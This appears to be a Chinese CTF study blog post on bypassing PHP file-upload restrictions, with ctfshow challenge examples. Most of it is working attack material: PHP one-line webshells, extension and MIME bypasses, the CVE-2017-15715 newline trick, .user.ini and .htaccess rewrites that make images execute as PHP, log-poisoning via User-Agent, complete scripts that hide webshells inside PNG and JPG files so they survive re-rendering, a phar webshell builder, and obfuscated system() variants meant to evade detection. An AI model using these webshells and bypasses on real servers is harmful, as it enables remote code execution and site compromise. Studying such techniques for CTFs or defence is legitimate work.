目录

  1. 1. 文件上传
  2. 2. 前端限制
  3. 3. 后端限制
  4. 4. 一句话木马中字符过滤
  5. 5. 日志文件包含
  6. 6. Apache HTTPD解析漏洞
    1. 6.1. 未知后缀解析漏洞
    2. 6.2. 换行解析漏洞(CVE-2017-15715)
    3. 6.3. AddHandler导致的解析漏洞
  7. 7. 改配置文件
    1. 7.1. .user.ini配置文件绕过
    2. 7.2. .htaccess(环境为Apache时使用)
  8. 8. 二次渲染绕过
    1. 8.1. gif
    2. 8.2. png
    3. 8.3. jpg
  9. 9. 传zip
  10. 10. Phar反序列化文件上传
  11. 11. 免杀

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

文件上传

2023/3/16 Web 文件上传
  |     |   总文章阅读量:

文件上传

参考《.htaccess 和.user.ini 配置文件妙用》

原理:php写一句话木马上传

<?php @eval($_POST['cmd']);?>

前端限制

html源码出现类似这种

<button lay-data="{url: 'upload.php', accept: 'images',exts:'zip'}"></button>

f12修改页面可解

禁用js

burp发包


后端限制

  • 限制传图片,

    可写入一句话木马改成jpg,png等图片格式,上传时改成.php

  • PHP环境下若php后缀被过滤,

    传入后缀为.Php ,.phtml ,.php3 ,.php4的一句话木马(均可当作php解析)

  • 格式正确的情况下无法上传尝试减少图片内容

  • 魔术文件头:GIF89a

  • 检测宽高

    #define height 1
    #define width 1

一句话木马中字符过滤

<?php:可改为<?Php,或者短标签

[]:尝试使用{}

;:尝试使用php闭合标签?>

():此时约等于无法传入木马来getshell,可以考虑直接进行命令执行

<?=`tac ../f*`?>

或用echo这类不需要括号的函数

或用取反与异或进行绕过(使用data协议)

关键词过滤:尝试用单个字符拼接,比如"ph"."p"

日志文件包含

过滤了大量命令执行主要字符的时候可以考虑采用文件包含的方式来执行shell

在传入的一句话木马中使用includerequire函数进行文件包含

然后ua头写入一句话木马进行日志包含

ctfshow web160

这题把空格过滤了,还过滤了括号、反引号

先改.user.ini使其解析png为php

image-20230810131355237

然后传入短标签日志包含

image-20230810131421151

在/upload/页ua头写马进行日志包含

image-20230810131450313


Apache HTTPD解析漏洞

未知后缀解析漏洞

参考文章

该漏洞与Apache、php版本无关,属于用户配置不当造成的解析漏洞

Apache认为一个文件可以拥有多个扩展名,哪怕没有文件名,也可以拥有多个扩展名。Apache认为应该从右到左开始判断解析方法的。如果最右侧的扩展名为不可识别的,就继续往左判断,直到判断到文件名为止

所以如果按后缀过滤了.php,也可以考虑把文件名后缀改为.php.xxx

换行解析漏洞(CVE-2017-15715)

版本:2.4.0~2.4.29

在解析PHP时,1.php\x0a将被按照PHP后缀进行解析

原理:

<FilesMatch \.php$>
    SetHandler application/x-httpd-php
</FilesMatch>

php$使用$来匹配以.php为后缀的文件,那么在文件名后插入换行符\x0A则可以绕过php黑名单,实现文件上传

AddHandler导致的解析漏洞

如果服务器给.php后缀添加了处理器:AddHandler application/x-httpd-php.php
那么,在有多个后缀的情况下,只要包含.php后缀的文件就会被识别出php文件进行解析,不需要是最后一个后缀。如shell.php.jpg中包含.php,所以解析为php文件


改配置文件

.user.ini配置文件绕过

可用于抓包可上传但不解析且文件夹下存在php文件的情形

php.ini 是 php 的一个全局配置文件,对整个 web 服务起作用;而.user.ini 和.htaccess 一样是目录的配置文件,.user.ini 就是用户自定义的一个 php.ini,通常用这个文件来构造后门和隐藏后门

相关配置项,作用相当于文件包含

auto_prepend_file=<filename>         //包含在文件头
    在当前目录下的.php 文件包含 1.jpg(1.jpg为例),即在php文件头插入require('1.jpg')
auto_append_file=<filename>          //包含在文件尾
  • 包含在文件尾的语句遇到exit()等会失效

.htaccess(环境为Apache时使用)

ctfshow web167

httpd-conf 是 Apache 的系统配置文件,一个全局的配置文件,对整个 web 服务起作用;而.htaccess 也是 Apache 的配置文件,不过相当于一个局部配置文件,只对该文件所在目录下的文件起作用

前面我们有提到在php后缀被过滤的情况下,可用传入后缀为.phtml的一句话木马

这是因为在绕过文件上传的限制中, httpd.conf 中有这样一条配置:

AddType application/x-httpd-php .php .phtml

这条配置的意思就是将.php.phtml 文件后缀的文件当做 php 文件执行

不过在高版本中这条配置默认是关闭的,也就是只能解析.php文件后缀

还有这条配置:将所有文件都解析为 php 文件。

SetHandler application/x-httpd-php

一般也是不开启的

对于全局配置,我们一般无法更改

而在web目录(比如/var/www/html)下,存在局部配置文件.htaccess,只对该目录所在的web目录起作用

两种改法:

  1. 将.png后缀的文件解析成php

    AddType application/x-httpd-php .png
  2. 将匹配到的文件按php解析执行

<FilesMatch "1.jpg">
Sethandler application/x-httpd-php
#<!-- 将匹配到的 1.jpg 文件按照php解析执行 -->
Addhandler php5-script .jpg
#<!-- 将匹配到的 1.jpg 文件按照php解析执行 -->
</FilesMatch>
#<!-- 该种匹配方式较为精准,不会造成大批的误伤情况 -->
  • 记得改Content-Type

二次渲染绕过

存在图片包含点的时候可用

参考链接

gif

把php代码写在渲染前后没有发生变化的位置即可

png

ctfshow web164

图片生成脚本

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);

$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'2.png');  //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>
 */

?>

运行之后获得一张带有一句话木马同时防止二次渲染丢失php代码的png图片

image-20230810145721634

上传上去,然后会出现一个查看图片的按钮,点击查看图片来到图片包含的路由

进行命令执行

image-20230810150101350

jpg

图片生成脚本

<?php
    $miniPayload = "<?php system('tac f*');?>";


    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>
用法  php exp.php a.png

传zip

注意改Content-Type: application/x-zip-compressed


Phar反序列化文件上传

利用phar://伪协议将文件打包成压缩包并上传

参考:https://paper.seebug.org/680/

构造phar包

<?php
    $payload = '<?php eval($_POST["shell"]); ?>'; //一句话木马
    $phar = new Phar("exp.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $phar->addFromString("exp.php", "$payload"); //添加要压缩的文件
    // $phar->setMetadata(...); //在metadata添加内容,可参考 phar反序列化,此处用不着,故注释
    $phar->stopBuffering();

如果报错需要在php.ini中修改为phar.readonly=Off并重启php服务

image-20230427113102867

然后运行即可得到一个内含一句话木马exp.php的phar包

上传时把后缀名改为zip

然后使用phar://协议读取这个压缩包中的一句话木马

phar://xxxxxxxxxxxxxxxxx(存入的路径名).zip/exp

免杀

其实就是RCE

收集的一些免杀技巧

过滤一句话木马、system之类的命令执行函数

<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST['cmd']);
?>
<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST['cmd']);
?>
<?php
$a=strrev('metsys');
$a($_REQUEST['cmd']);
?>
<?php
$a=$_REQUEST['a'];
$b=$_REQUEST['b'];
$a($b);
?>
<?=`ls`?>

过滤<

配置文件写日志进行包含